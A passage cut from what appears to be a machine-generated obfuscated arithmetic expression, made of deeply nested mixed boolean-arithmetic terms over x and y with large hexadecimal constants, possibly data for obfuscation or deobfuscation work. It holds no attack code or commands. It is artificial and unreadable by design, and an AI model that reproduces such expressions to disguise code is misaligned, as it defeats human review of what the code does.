(x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-((((((((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158c